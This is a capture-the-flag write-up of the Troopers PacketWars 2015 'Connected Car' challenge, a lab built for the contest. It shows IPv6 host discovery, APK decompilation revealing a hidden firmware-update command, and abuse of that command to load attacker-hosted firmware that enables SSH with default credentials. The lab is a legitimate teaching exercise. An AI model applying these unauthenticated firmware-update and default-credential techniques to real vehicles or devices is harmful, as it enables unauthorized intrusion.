Events

Troopers PacketWars 2015 – Write Up

Hello Hackers!

 

 

This year’s PacketWars contest at Troopers was a blast! Under the topic of “Connected Car” the teams faced several different challenges, which we will describe (as a debriefing) here.

Story

 

 

From the Packetmaster’s Battle Briefing:

You and your krew are “freelancers” hired to identify and neutralize an unknown threat agent who has created weaponized software and delivered it to civilian Connected Cars via compromised EV (Electrical Vehicle) charing stations. To make matters worse there are indications that new strains of the malware are appearing as the “worm” spreads from car to car. The mobile mesh network created by the Connect Car is highly resilient, allowing the malware to spread exponentially. Time is of the essence.
Malware analysis suggests that besides a botnet module, there is an active CANBus injection capability. There appears to be other modules but they haven’t been properly reversed and analyzed yet.

All Command and Control communications appear to be a combination of TOR, IPV6, DNS, Port Knocking. All observed persistent artifacts appear to be protected with various technologies some very sophisticated and some which are not. Obfuscation, encryption, hashes and steganography. are in play. It is highly likely that other protections are in place but have not been discovered yet. Your Mission: You must identify the adversary, locate the Command and Control operations center(s) and neutralize the threat or risk being GRIDLOCKED forever!

First Challenge

 

 

The first challenge was simply to compromise a car in order to identify the C2 server.

The most obvious system in the battle space was just a web server hosting some information about a fictional car manufacturer. Interestingly though an image of the (not yet discovered) car network could be found:

network_scheme
This image told the participants in which prefix to search for the cars and how their IPv6 addresses would look like. Additionaly an Android app could be found on the server as well, but we will come to this later.
Finding all cars in a certain prefix can be quite a mess, since IPv6 range is quite large. To make things easy you can simply ping the multicast address ff02::1 of your connected interface:
ping6 -c2 -I eth0 ff02::1
Let me explain:

  • ping6 is the ping variant for IPv6.
  • The -c2 parameter is not necessary, but will limit the number of pings and thus increases the readability of the results.
  • The -I parameter specifies the interface on which the ping should be
    broadcasted. Link local addresses are only valid for small networks
    since they are derived from the MAC address of the connected interface.
    This is why the interface has to be set as a parameter.
  • ff02::1 is the link local multicast address

After pinging this address you will end up with a list of currently available hosts (including your team mates):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
PING ff02::1(ff02::1) from fe80::800:27ff:fe00:0 vboxnet0: 56 data bytes
64 bytes from fe80::800:27ff:fe00:0: icmp_seq=1 ttl=64 time=0.023 ms
64 bytes from fe80::a00:27ff:fe77:d1b1: icmp_seq=1 ttl=64 time=0.346 ms (DUP!)
64 bytes from fe80::a00:27ff:fe7c:80c6: icmp_seq=1 ttl=64 time=0.520 ms (DUP!)
64 bytes from fe80::a00:27ff:fe55:f1be: icmp_seq=1 ttl=64 time=0.732 ms (DUP!)
64 bytes from fe80::a00:27ff:fed7:ecd0: icmp_seq=1 ttl=64 time=0.739 ms (DUP!)
64 bytes from fe80::a00:27ff:fe1d:c25f: icmp_seq=1 ttl=64 time=0.929 ms (DUP!)
64 bytes from fe80::a00:27ff:fe23:bcdc: icmp_seq=1 ttl=64 time=1.25 ms (DUP!)
64 bytes from fe80::a00:27ff:fe94:60ce: icmp_seq=1 ttl=64 time=1.33 ms (DUP!)
64 bytes from fe80::800:27ff:fe00:0: icmp_seq=2 ttl=64 time=0.074 ms

--- ff02::1 ping statistics ---
2 packets transmitted, 2 received, +7 duplicates, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.023/0.661/1.330/0.441 ms

From those link local addresses the global addresses are created by replacing the link local prefix (fe80) with the prefix given on the sheet of paper (C101::-C106::, depending on which Wifi you were connteced to).
So you have all cars identified! Time to scan them for open ports! Make sure to scan all ports per host (it’s just 6 of them anyway).
After scanning the cars for open ports you will find out, that all cars will have tcp 111 open and one car will have port 2015 open as well. What we do now, is to connect to the port and see what info we can get by speaking to the service:

1
2
3
4
5
6
Car Service Interface v.1.1.2.7
help
Invalid command
Connection closed

Ncat: Broken pipe.

We quickly find out that sending commands will leave us with an error message and we will get disconnected as well, as soon as we hit a timeout or enter a wrong command. Bruteforce is not a good idea here… But wait! We still have the Android APK from the manufacturer website! Let’s take a look:
We could run the APK in an emulator or on a phone, but this is not necessary and costs valuable time. Instead we unpack the APK with a zip unpacker. We will end up with many files: manifests, included media, … and the classes.dex file, which will contain all the code of the application. Now we have two options:

  • Disassemble the .dex file and generate java code from it.
  • run the strings command and scan all strings for something interesting.

Using strings will give us approximately 16000 entries. Doesn’t sound like a lot of fun to check that…

1
2
local@ERNW:~$ strings ConnectCar-release.apk_FILES/classes.dex | wc -l
15860

Also it is quite likely to miss the important command and the context is not clear. Better make some java code out of it. 😉 To do so we need a decompilation tool (in my case baksmali).
After decompilation we end up with smali code, which is fairly readable. Some interesting code parts:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.line 27
const-string v0, "fwupd [c111::a00:27ff:fed7:ecd0] /firmware"

iput-object v0, p0, Lcom/ernw/btroester/packetwarsConnectcar/MainActivity;->fw_download:Ljava/lang/String;

.line 117
return-void
...
in MainActivity.smali
and in MainActivity$SendMessage.smali:
...
new-instance v2, Ljava/net/Socket;

const-string v3, "[fe80::a00:27ff:fe7c:80c6]"

const/16 v4, 0x7df

invoke-direct {v2, v3, v4}, Ljava/net/Socket;->(Ljava/lang/String;I)V
...
# getter for: Lcom/ernw/btroester/packetwarsConnectcar/MainActivity;->printwriter:Ljava/io/PrintWriter;
invoke-static {v1}, Lcom/ernw/btroester/packetwarsConnectcar/MainActivity;->access$200(Lcom/ernw/btroester/packetwarsConnectcar/MainActivity; )Ljava/io/PrintWriter;

move-result-object v1

const-string v2, "fwupd [c111::a00:27ff:fed7:ecd0] /firmware"

invoke-virtual {v1, v2}, Ljava/io/PrintWriter;->write(Ljava/lang/String; )V

It seems a new socket is being created, connecting to [fe80::a00:27ff:fe7c:80c6] on port 2015 (0x7df). Later in the code on this connection, a packet with the contents “fwupd [c111::a00:27ff:fed7:ecd0] /firmware” is sent over.
fe80::a00:27ff:fe7c:80c6 looks like a link local address of a car type. [c111::a00:27ff:fed7:ecd0] is actually the charging station (webserver). The fact that there is a hard coded IP address which the app connects to, may confuse a little, but this can be considered a leftover due to a bad release. What we can’t see in the code is that the debug function which triggers the packet sending is actually not clickable in the application. The user will see the button, but can not tap on it. Running the app on a phone(/emulator) will look like this:
screenshot_appBtw: It was not intended to actually start the application, but it would give you a hint on what is interesting inside of it 😉

However we now conclude that the string which is sent is a command for our car interface. Let’s give it a try:

1
2
3
4
5
6
7
8
Car Service Interface v.1.1.2.7
fwupd [c111::a00:27ff:fed7:ecd0] /firmware
Downloading http://[c111::a00:27ff:fed7:ecd0]/firmware
Parsing new firmware
New firmware installed
Connection closed

Ncat: Broken pipe.

It works! But what happens? It seems a firmware file is being downloaded from the given IP, parsed and then installed on the car. Let’s take a look at the firmware, which is located in the root directory of the webserver (= hardcoded IP):
[...Fancy looking car stuff...]
##Debug Interface (must be disabled for release)
##user: service pass: tron
enable_ssh 0
[...Fancy looking car stuff...]

All the other bits of the firmware are actually useless. We planned putting in an easter-egg if you are evil and disable the breaks or engine of the car, but we did not do that 😉

But how can we enable the ssh service now? Well, since we control the IP-address of the download we just have to setup a small webserver, host our own firmware-file with enable_ssh 1 in it and voilà! Remember that the IP has to be reachable from the perspective of the target car. 😉
Once setup, we will see the same output from the service, except that we can connect to the car via SSH now!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
local@ERNW:~$ ssh service@fe80::a00:27ff:fe7c:80c6%vboxnet0
Tron ACDC 3e
SSH Service Port

Operate with caution.
service@fe80::a00:27ff:fe7c:80c6%vboxnet0s password:
Linux Tron-ACDC-3e 3.2.0-4-686-pae #1 SMP Debian 3.2.65-1+deb7u1 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 4 18:32:31 2015 from fe80::800:27ff:fe00:0%eth0
service@Tron-ACDC-3e:~$

Boom! 😉

Second Challenge

 

 

This round was fairly short: The goal was to identify artefacts of the C&C server. One artefact was the file “home/service/packetwars” which contained the secret IP C222::a00:27ff:fe6b:ccab if you fiddle around with it’s formats 😉
The /etc/hosts file also contained an entry of the C&C server.

Third Challenge

 

 

In the final round the C&C server had to be exploited and taken over to prevent other teams from gaining access. The C&C server was a standard Metasploitable, so it was fairly easy to guess passwords or run some exploits against it. The challenge here was (again) IPv6 which has it’s pitfalls if you are used to your standard IPv4 tools.

If you want to get your hands dirty yourself:
You can download the complete appliance of all used VMs here. You have to set up two Host-Only networks for this: One Car/Public-Net with IPv4 (+DHCP) and IPv6 and the C&C-Net with only IPv6. Sadly you will have to enable IPv4 for the target car, to make sure it can reach the webserver (or the attacker) properly, or you have to set up IPv6 routing with prefixes. The reason for that is: The car can not download from a link-local IPv6 address via an URL, it has to be either a global IPv6 or an IPv4 address.

Download

MD5: 4b1e0fe373a5ba2031d9e132da91c49b

The OVA is released under the The MIT License (MIT)

Copyright (c) 2015 Benedikt Tröster ERNW GmBH

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

Hope you all enjoyed the PacketWars and hope to see you again!

Greetings,
Benedikt